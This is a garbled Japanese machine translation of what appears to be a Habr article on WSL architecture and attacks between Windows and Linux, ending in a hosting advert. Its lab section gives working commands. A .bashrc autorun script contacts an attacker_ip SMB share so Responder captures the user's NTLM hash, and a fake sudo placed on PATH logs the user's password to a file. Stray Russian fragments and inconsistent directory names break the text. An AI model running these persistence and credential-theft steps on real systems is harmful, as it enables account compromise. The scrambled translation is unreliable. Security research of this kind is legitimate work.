WSL 実隓。パヌト1

こんにちは、ハブ OTUSは10月に新しいコヌスストリヌムを開始したす "安党性 Linux»。コヌスの開始に先立ち、講垫の䞀人である Alexander Kolesnikov が執筆した蚘事を皆さんず共有したす。

WSL 実隓。パヌト1

2016幎にマむクロ゜フトはITコミュニティに新しいWSLテクノロゞヌを導入したしたWむンドり Subsystem甹 LLinuxは、長期的には、䞀般ナヌザヌず䞊玚ナヌザヌの䞡方からの人気を巡っお争っおいた、これたで盞容れない競合盞手同士の統合を可胜にした。 Windows О Linuxこの技術によっお、OSツヌルを䜿甚できるようになった。 Linux вПкружеМОО Windows 起動する必芁なく Linux䟋えば、マルチブヌトを䜿甚するなど。Habr では、WSL を䜿甚するメリットを説明する蚘事が倚数芋぀かりたす。しかし、残念ながら、この蚘事を曞いおいる時点では、このオペレヌティングシステムの共生のセキュリティに関する研究は、このリ゜ヌスでは芋぀かりたせんでした。この蚘事は、これを是正するための詊みです。この蚘事では、WSL 1 および 2 アヌキテクチャの特城に぀いお議論し、これらのテクノロゞヌを䜿甚するシステムに察する攻撃の䟋をいく぀か分析したす。蚘事は 2 ぀の郚分に分かれおいたす。最初の郚分では、䞻な理論的攻撃方法を玹介したす。 Linux О Windows第2回の蚘事では、テスト環境の構築ず攻撃の再珟に぀いお解説したす。

WSL 1: アヌキテクチャ機胜

WSLのセキュリティ問題を完党に理解するには、サブシステムの実装に関連する重芁なニュアンスを特定する必芁がありたす。WSLが察応する䞻なナヌザヌニヌズの1぀は、タヌミナルアクセスを有効にするこずです。 Linux ホスト䞊のOSを搭茉したシステム Windowsたた、提䟛された互換性は非垞にネむティブで、実行ファむルは Linux ELFはシステム内で盎接発射される可胜性がある Windowsこれらの目暙を達成するために Windows 10 アプリケヌションを起動できるようにする特別なサブシステムが䜜成されたした Linux 特定のシステムコヌルのセットを䜿甚する - そのため、システムコヌルのセットをマッピングする詊みが行われた Linux Ма Windows物理的には、これは新しいドラむバず新しいプロセス圢匏を远加するこずで実珟されたした。芖芚的には、アヌキテクチャは次のようになりたす。

WSL 実隓。パヌト1

基本的には、オペレヌティングシステムずのやり取り Linux 耇数のカヌネルモゞュヌルず特殊なプロセスタむプであるpicoを䜿甚しお構成されおいたす。䞊の図は、むンスタンスで実行されおいるプロセスを瀺しおいたす。 Linux ホスト䞊ではネむティブである必芁があり、通垞のアプリケヌションず同じリ゜ヌスを䜿甚する必芁がありたす。 Windowsしかし、これはどのように実珟できるのでしょうかプロゞェクトでは Drawbridge プロセスコンセプトは、 Windowsこれは、バヌゞョンに応じお別のOSからアプリケヌションを実行するために必芁なすべおのオペレヌティングシステムコンポヌネントを提䟛したした。

提案された抜象化により、オペレヌティングシステムに䟝存しないこずが可胜になったこずに泚意しおください特に、 Windows別のOSプロセスが起動するこずを想定しおおり、䞀般的なアプロヌチを提案した。

したがっお、ピコプロセス内のアプリケヌションは、カヌネルに関係なく実行できる。 Windows:

  1. システムコヌルの互換性ず翻蚳の問題は、特別なプロバむダヌによっお解決される必芁がありたす。
  2. アクセス制埡はセキュリティモニタを介しお実装する必芁がありたす。モニタはカヌネル内にあり、したがっお Windows このようなプロセスを提䟛する新しいドラむバずいう圢でのアップグレヌドが必芁でした。プロトタむプのピコプロセスを抂略的に以䞋に瀺したす。

WSL 実隓。パヌト1

ファむルシステムのため Linux ファむル名ずディレクトリ名には倧文字ず小文字が区別されたす。 Windows WSLで䜿甚するために、VolFSずDriveFSずいう2皮類のファむルシステムが远加されたした。VolFSはファむルシステムの実装です。 LinuxDriveFSは、ルヌルに埓っお動䜜するファむルシステムです。 Windowsただし、名前の倧文字ず小文字を区別するかどうかを遞択するオプションがありたす。

WSL 2

WSL 1には、幅広いタスクの解決に利甚できないような倚くの制限がありたした。䟋えば、32ビットを実行する機胜がありたせんでした。 Linux アプリケヌションはデバむスドラむバを䜿甚できたせんでした。そのため、2020幎にWSL 2がリリヌスされ、サブシステムの構築方法が倉曎されたした。WSL 2は、WSL 1のリ゜ヌス消費特性に䞀臎するように最適化された仮想マシンです。珟圚、ナヌザヌが解決しようずしおいる問題に応じお、OSは Windows䜜業に必芁なサブシステムのバヌゞョンを遞択できたす Linux朜圚的な脆匱性を軜枛するために、WSL 2 は Hyper-V をベヌスに実装されたした。 Windows 10この圢匏で Windows オペレヌティングシステムカヌネルを単独で実行する機胜を持぀ LinuxWSLのバヌゞョン1は、開発の方向性を瀺すためのベヌタ版機胜ずしお導入されたこずを芚えおおく䟡倀がある。 Windows この分野では、Hyper-Vぞの移行は必然でした。最終的なアヌキテクチャは次のようになりたす。

WSL 実隓。パヌト1

このバヌゞョンでは、システムカヌネルは Windows О Linux それぞれが独自のリ゜ヌスを持ち、ファむルシステム内でのみ重耇するが、その重耇は完党なものではない。ファむルシステム間の盞互䜜甚は、9Pプロトコル䞊で動䜜するクラむアント/サヌバヌラッパヌを介しお行われる。

珟圚、Microsoft は WSL 1 ず WSL 2 を切り替える機胜を提䟛しおいたす。䞡方のバヌゞョンを䜿甚できたす。

WSL セキュリティ

珟時点では、正圓な OS ツヌルを䜿甚しおサブシステム間の盞互䜜甚を攻撃するいく぀かのアプロヌチを説明する研究がいく぀かありたす。私たちは圌らのシナリオを䜿甚しお、この蚘事の執筆時点での攻撃の関連性を確認したす。攻撃ずシナリオの䞀般的なリスト:

1. ファむルシステムの実装: アクセス暩、共有ディレクトリ/デヌタ亀換メカニズムの可甚性。

調査は、アクセス芏則違反があったかどうかを刀断するために実斜されたした。 Linux FS->Windows FS、 Windows FS->Linux FS。調査により、察象 OS 内で特定のファむルを倉曎できるこずが実蚌されおいたす。ファむルシステムの䞀郚を眮き換えたり、耇補したり、削陀したりする詊みもありたした。

シナリオ

  • A. オペレヌティングシステムからの攻撃 Windows — OSの/etcディレクトリ内のファむルの倉曎 Linux.
  • B. オペレヌティングシステムからの攻撃 Linux — ディレクトリ内のファむルの倉曎: C:Windows, C:Program Files, C:Users<User>

2. ネットワヌク スタックの実装。

この研究は、オペレヌティングシステムからの攻撃の䟋を甚いお実斜された。 Linux Ма Windowsネットワヌクスタックの運甚䞊の機胜、特に各皮リ゜ヌスに察する認蚌メカニズムが悪甚された。

シナリオ

  • システム内で䜿甚䞭のポヌトぞのアクセスを開攟する Windows
  • 適切な暩限なしでポヌトを開く
  • オペレヌティングシステム内でELFファむルを䜿甚しおリバヌスシェルを実行する Windows.

3. WSL サブシステムを䜿甚しおマルりェア プロセスの起動を隠したす。

この研究は、WSL 1 の堎合、セキュリティ サブシステムはオペレヌティング システムからの正圓なプロバむダヌを䜿甚しお動䜜する別のコアのむベントを傍受できないずいう単玔な事実に基づいおいたす。WSL 2 の堎合、軜量仮想マシン内の別のコアで発生するむベントを衚瀺する方法はありたせん。

シナリオ

1) システムぞのリモヌト アクセス甚のアプリケヌションを起動し、蚘録されたむベントを衚瀺したす。

WSL 1 実隓: ハッシュハむゞャック (OS Windows)

いよいよ実践的な郚分に入りたす。たず、テスト環境をセットアップする必芁がありたす。すべおの実隓は、テストベンチ䞊で実斜されたす。 Windows 10 2004幎。WSL甚に遞ばれたオペレヌティングシステムむメヌゞは Ubuntu 4月18日。画像はランダムに遞択されたもので、他の画像でも同様に機胜したす。スタンドのセットアップコマンド

たず実行する必芁がありたす powershell.exe 管理者ずしお。

WSL 1 の堎合は、次のコマンドを実行する必芁がありたす。

  1. 有効にする-Windowsオプション機胜 -オンラむン -機胜名 Microsoft-Windows-サブシステム-Linux #WSL機胜を有効にする
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #画像を読み蟌む Linux Microsoft Storeから

  • Ubuntu.appx install —root #むメヌゞをむンストヌルしたす
  • セットアッププロセスをクリックしお、rootよりも暩限の䜎い新しいナヌザヌを䜜成する必芁があるかもしれたせん。今回のテストでは、通垞ナヌザヌのsamを䜿甚したす。
  • コンピュヌタの再起動 #再起動
  • システムを再起動埌、bashコマンドを実行しおください。すべおが正しく動䜜しおいれば、コン゜ヌルに以䞋のような出力が衚瀺されたす。 Windows:

    WSL 実隓。パヌト1

    攻撃者のマシンずしおは、Kali Linuxディストリビュヌションを䜿甚したす。 Linuxすべおのマシンは同じロヌカルネットワヌク䞊に存圚する必芁がありたす。

    マシン䞊でWSLぞの非特暩アクセスが可胜だず仮定したしょう。 Windowsオペレヌティングシステムを攻撃しおみたしょう。 Linuxコマンドを呌び出す Linux攻撃を実行するために、簡単な自動実行の手法を䜿甚したす。぀たり、スクリプトを環境に远加したす。 Linuxこれを行うには、ファむルを倉曎する必芁がありたす .bashrc.

    WSL を搭茉したマシンで、次を実行したす。

    	1. bash
    	2. ПерехПЎОЌ в ЎПЌашМюю ЎОректПрОю пПльзПвателя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    カリカヌで Linux 実行したす:

    1. Responder -I eth0 -rdvw

    НаЌашОМе Windows bashを実行したしょう。

    Kaliマシンでの結果を埅っおいたす。 Linux:

    WSL 実隓。パヌト1

    ナヌザヌハッシュを取埗したした Windows WSLサブシステムを介しおシステム䞊でコマンドを実行する Linux.

    WSL 1 実隓: ナヌザヌパスワヌドの取埗 (OS) Linux)

    もう1぀実隓をしおみたしょう。このチェック䞭にファむルを補足したす .bashrc オペレヌティングシステムのナヌザヌパスワヌドを取埗するためのいく぀かのコマンド Linux.

    bash を起動しおコマンドを入力したしょう:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    攻撃を成功させるには、ナヌザヌSamがタヌミナルでsudoコマンドを実行する必芁がありたす。 Linuxその埌、OSナヌザヌのパスワヌド Linux ファむル内にありたす pass.txt:

    WSL 実隓。パヌト1

    攻撃の実装は理論的な理解のみを目的ずしお提䟛されおいたす。

    蚘事の次の郚分では、9P プロトコルの実装に぀いお説明し、このプロトコル甚のスキャナヌの䜜成を怜蚎し、それを䜿甚しお攻撃を実行したす。

    参考文献

    WSL 実隓。パヌト1

    続きを読む

    出所 habr.com

    DDoS 保護機胜を備えた信頌性の高いサむト甚ホスティング、VPS VDS サヌバヌを賌入する 🔥 DDoS攻撃察策付きの信頌性の高いりェブサむトホスティング、VPS/VDSサヌバヌを賌入したしょう | ProHoster